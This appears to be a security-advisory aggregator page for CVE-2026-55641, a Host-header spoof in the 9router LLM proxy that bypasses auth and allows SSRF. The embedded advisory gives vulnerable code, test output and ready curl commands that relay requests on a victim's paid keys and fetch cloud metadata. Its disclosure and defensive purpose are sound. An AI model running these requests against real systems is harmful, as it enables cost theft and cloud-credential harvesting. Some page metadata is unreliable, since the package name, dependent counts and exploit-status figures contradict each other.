CVE-2026-55641: 9router: Host-header spoof bypasses auth, enables SSRF

GHSA-86m2-fcxq-5q7cHIGHPoC AVAILABLE
Published August 28, 2026
CISO Take

9router, a self-hosted LLM proxy/router, decides whether a request is "local" (and therefore exempt from API-key auth) by trusting the client-controlled Host header instead of the actual TCP peer address — and it binds to 0.0.0.0 by default while its own CLI misleadingly prints "localhost", so most deployments are unknowingly internet-reachable. Any remote, unauthenticated attacker who reaches the port can send Host: localhost and gain full access to the /v1 LLM proxy, letting them run inference on the victim's paid provider keys (cost theft, data exfiltration through the victim's accounts) and drive unauthenticated SSRF against internal services or cloud metadata endpoints via the built-in searxng search provider. With 1,005 downstream dependents, a CVSS of 8.2, and the flaw confirmed live against a running default-config instance (not just a code-review finding), the blast radius is real even though EPSS sits at only the 75th percentile and it isn't in CISA KEV or trivially scanner-detectable yet. Patch to 9router >= 0.5.2 immediately; until then, bind the service to 127.0.0.1 only, block external access to port 20128 at the firewall/security-group level, and set requireApiKey explicitly since it is absent from defaults. Audit provider API usage/billing logs for anomalous request volume or unfamiliar source IPs as a compromise indicator.

Sources:NVDGitHub AdvisoryEPSSCISA KEVATLAS

What is the risk?

High-severity (CVSS 8.2), trivially exploitable (single spoofed HTTP header, no authentication artifacts needed, no AI/ML expertise required) authentication bypass in an internet-facing-by-default component. Exploitability is low-friction — a single curl request — but exploitation likelihood signals are currently muted: EPSS is low (0.00323, ~75th percentile), it is not in CISA KEV, and no public exploit or Nuclei template exists yet, so this looks under-the-radar rather than already weaponized. That gap between technical severity and current exploitation telemetry is itself a risk: default-insecure configuration (0.0.0.0 bind, no requireApiKey, misleading CLI output) means a large fraction of the 1,005 downstream-dependent deployments are likely exposed without operators realizing it. Overall risk: HIGH for any exposed instance with a configured provider; the primary mitigating factor is that exploitation requires network reachability to the 9router port, which is more restricted in well-segmented environments.

How does the attack unfold?

Host-header spoofing
Attacker sends a request to an internet-reachable 9router instance (default 0.0.0.0 bind) with a forged Host: localhost header to be classified as a trusted local client.
AML.T0049
Authorization bypass
isLocalRequest returns true based solely on the spoofed header, so canAccessPublicLlmApi grants access to the /v1 proxy without any API key, CLI token, or login.
AI relay abuse / SSRF pivot
Attacker sends requests to /v1/messages (forwarded using the victim's stored provider credentials) or /v1/search with a malicious provider_options.baseUrl, causing the server to fetch attacker-chosen internal/cloud-metadata URLs.
AML.T0040
Cost theft and data exfiltration
The victim's AI provider quota/budget is consumed and billed to their account, while SSRF responses (potentially including internal service data or cloud credentials) are reflected back to the attacker.
AML.T0034

What systems are affected?

PackageEcosystemVulnerable RangePatched
OpenAI Nodenpm< 0.5.20.5.2
11.2K1.8K dependentsPushed 2d ago56% patched~139d to patchFull package profile →

Do you use OpenAI Node? You're affected.

How severe is it?

CVSS 3.1
8.2 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 26% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
○Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRNone
UINone
SUnchanged
CHigh
ILow
ANone

What should I do?

1 step
  1. 1) Patch to 9router >= 0.5.2 immediately — the fix moves the local-request determination to the actual socket peer address instead of the spoofable Host header. 2) Until patched, do not expose 9router beyond localhost: bind to 127.0.0.1, remove any 0.0.0.0/Docker port-publish/tunnel/tailscale exposure, and enforce network-layer restrictions (firewall/security group) on the listening port (default 20128). 3) Explicitly set requireApiKey: true in settings — the default configuration silently omits this flag, and the underlying flaw fails open. 4) Rotate any provider API keys stored in 9router if the instance has ever been reachable from an untrusted network, and audit provider billing/usage logs for anomalous volume or unfamiliar source IPs/timestamps. 5) Detection: watch for requests to /v1, /v1beta, /api/v1, /api/v1beta with a Host header claiming localhost/127.0.0.1/::1 arriving from a non-loopback source IP — this signature indicates exploitation attempts.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15-Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.4-Security controls for AI system operation
NIST AI RMF
GOVERN 1.5-Processes for AI system access control and authentication
OWASP LLM Top 10
LLM02:2025-Sensitive Information DisclosureLLM10:2025-Unbounded Consumption

Frequently Asked Questions

What is CVE-2026-55641?

9router, a self-hosted LLM proxy/router, decides whether a request is "local" (and therefore exempt from API-key auth) by trusting the client-controlled Host header instead of the actual TCP peer address — and it binds to 0.0.0.0 by default while its own CLI misleadingly prints "localhost", so most deployments are unknowingly internet-reachable. Any remote, unauthenticated attacker who reaches the port can send Host: localhost and gain full access to the /v1 LLM proxy, letting them run inference on the victim's paid provider keys (cost theft, data exfiltration through the victim's accounts) and drive unauthenticated SSRF against internal services or cloud metadata endpoints via the built-in searxng search provider. With 1,005 downstream dependents, a CVSS of 8.2, and the flaw confirmed live against a running default-config instance (not just a code-review finding), the blast radius is real even though EPSS sits at only the 75th percentile and it isn't in CISA KEV or trivially scanner-detectable yet. Patch to 9router >= 0.5.2 immediately; until then, bind the service to 127.0.0.1 only, block external access to port 20128 at the firewall/security-group level, and set requireApiKey explicitly since it is absent from defaults. Audit provider API usage/billing logs for anomalous request volume or unfamiliar source IPs as a compromise indicator.

Is CVE-2026-55641 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-55641, increasing the risk of exploitation.

How to fix CVE-2026-55641?

1) Patch to 9router >= 0.5.2 immediately — the fix moves the local-request determination to the actual socket peer address instead of the spoofable Host header. 2) Until patched, do not expose 9router beyond localhost: bind to 127.0.0.1, remove any 0.0.0.0/Docker port-publish/tunnel/tailscale exposure, and enforce network-layer restrictions (firewall/security group) on the listening port (default 20128). 3) Explicitly set `requireApiKey: true` in settings — the default configuration silently omits this flag, and the underlying flaw fails open. 4) Rotate any provider API keys stored in 9router if the instance has ever been reachable from an untrusted network, and audit provider billing/usage logs for anomalous volume or unfamiliar source IPs/timestamps. 5) Detection: watch for requests to /v1, /v1beta, /api/v1, /api/v1beta with a Host header claiming localhost/127.0.0.1/::1 arriving from a non-loopback source IP — this signature indicates exploitation attempts.

What systems are affected by CVE-2026-55641?

This vulnerability affects the following AI/ML architecture patterns: LLM API gateways/proxies, agent frameworks, self-hosted AI infrastructure.

What is the CVSS score for CVE-2026-55641?

CVE-2026-55641 has a CVSS v3.1 base score of 8.2 (HIGH). The EPSS exploitation probability is 0.33%.

What is the AI security impact?

Affected AI Architectures

LLM API gateways/proxiesagent frameworksself-hosted AI infrastructure

MITRE ATLAS Techniques

AML.T0025Exfiltration via Cyber Means
AML.T0034Cost Harvesting
AML.T0040AI Model Inference API Access
AML.T0049Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.4
NIST AI RMF: GOVERN 1.5
OWASP LLM Top 10: LLM02:2025, LLM10:2025

What are the technical details?

Original Advisory

## Summary 9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields: - **Open AI relay** — the proxy forwards the attacker's requests to AI providers using the **victim's stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim's accounts). - **Unauthenticated SSRF** — `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back. - **Affected:** `9router <= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`. - **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `<0.3.75` authz bypass). ## Details ### The bypass (`src/dashboardGuard.js`) ```js function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase(); return new Set(["localhost","127.0.0.1","::1"]).has(name); } function isLocalRequest(request){ if (!isLoopbackHostname(request.headers.get("host"))) return false; // <-- client-controlled Host const origin = request.headers.get("origin"); if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } } return true; } async function canAccessPublicLlmApi(request){ if (isLocalRequest(request)) return true; // <-- "local" => no key required if (await hasValidCliToken(request)) return true; return await hasValidApiKey(request); } ``` `isLocalRequest` never consults the **socket peer address** — only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`. ### Default exposure - `cli/cli.js:63` `const DEFAULT_HOST = "0.0.0.0";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` → reachable from the network by default. - `cli/cli.js:500,541` display `"localhost"` even when bound to `0.0.0.0` — operators believe it's local-only. - `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** → the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default. ### Relay chain (verbatim trace, 0.4.71) middleware (`src/proxy.js`, matcher covers all paths) → `canAccessPublicLlmApi` true via spoofed Host → `next.config.mjs` rewrites `/v1/:path*`→`/api/v1/:path*` → `src/app/api/v1/messages/route.js` POST → `handleChat` (no independent auth) → only gate falsy `requireApiKey` → `getProviderCredentials()` loads the victim's stored credentials → `handleChatCore` outbound fetch → response returned. **No downstream key gate.** ### SSRF chain `search.js` (only gate falsy `requireApiKey`) → `searxng` `noAuth:true` ⇒ `handleSearchCore({credentials:null})` → `coreBody.provider_options = body.provider_options` → `callers.js`: ```js export function resolveBaseUrl(config, params){ const override = getProviderSetting(params, "baseUrl"); // reads params.providerOptions.baseUrl FIRST return (override || config.baseUrl).replace(/\/+$/, ""); } ``` → `buildSearxngRequest` appends `/search?q=...&format=json&categories=general` → `fetch(url)` (server-side) → JSON reflected to caller. ## PoC Ground-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`). **Guard bypass (`hostspoof.mjs`, exit 2):** ``` attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS denied honest remote (real Host) *** ALLOWED *** SPOOF Host: localhost (no Origin) *** ALLOWED *** SPOOF Host: 127.0.0.1 *** ALLOWED *** SPOOF Host: localhost:20128 denied SPOOF Host + Origin evil (blocked) RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access. ``` **SSRF (`ssrf_search.mjs`, real imported code):** ``` [*] searxng configured baseUrl: http://localhost:8888/search [*] attacker provider_options.baseUrl: http://127.0.0.1:<port> [*] credentials passed to core: null (noAuth => key-less attacker) internal service reached by 9router process: true path hit: /search?q=x&format=json&categories=general data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}] SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL. ``` ### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness) Built & ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box's **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack: ``` (A) honest Host (the IP): POST /v1/search Host: 10.204.111.34:20128 => HTTP 401 {"error":"API key required for remote API access"} [guard blocks remote] (B) spoofed Host: localhost: POST /v1/search Host: localhost body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}} => HTTP 200, and the attacker's listener logged: [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1 => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL = unauthenticated SSRF. (B') relay path POST /v1/messages, same Host-spoof: honest Host => 401 ; Host: localhost => 404 {"error":"No active credentials for provider: openai"} => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured). ``` Changing **only** the `Host` header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See `repro/LIVE-EVIDENCE.txt`. **Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box): ```bash # Open AI relay — no Authorization/x-api-key/cookie; victim's key pays: curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \ -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}' # SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected: curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \ -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}' ``` ## Impact Any 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider). ## Recommended fix 1. Determine "local" from the **socket peer IP**, never the `Host` header — treat as local only if the TCP peer is `127.0.0.0/8` / `::1`. 2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print "localhost" when bound to all interfaces. 3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed). 4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`. 5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.

Exploitation Scenario

An attacker scans for exposed 9router instances (default port 20128, common on Docker hosts, tailscale/tunnel-exposed dev boxes, or misconfigured cloud VMs) and sends a POST to /v1/messages with a spoofed `Host: localhost` header and no API key. The guard logic reads only the Host header, concludes the request is local, and forwards it through to the configured LLM provider using the victim's stored credentials — the attacker now has free, attributable-to-the-victim inference access, which they can use to exfiltrate any data reachable via that pipeline or simply burn the victim's quota/budget. Separately, the attacker sends a POST to /v1/search with the same spoofed Host header and a body specifying `provider_options.baseUrl` pointing at the cloud metadata service or an internal-only admin endpoint; because the searxng provider requires no credentials, the 9router server process performs the outbound fetch on the attacker's behalf and reflects the JSON response back, giving the attacker a foothold to harvest IAM/cloud credentials or map the internal network — all without ever presenting an API key, CLI token, or login.

Weaknesses (CWE)

CWE-1327 — Binding to an Unrestricted IP Address: The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely.

  • [System Configuration] Assign IP addresses that are not 0.0.0.0.
  • [System Configuration] Unwanted connections to the configured server may be denied through a firewall or other packet filtering measures.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Timeline

Published
August 28, 2026
Last Modified
August 28, 2026
First Seen
August 28, 2026

Related Vulnerabilities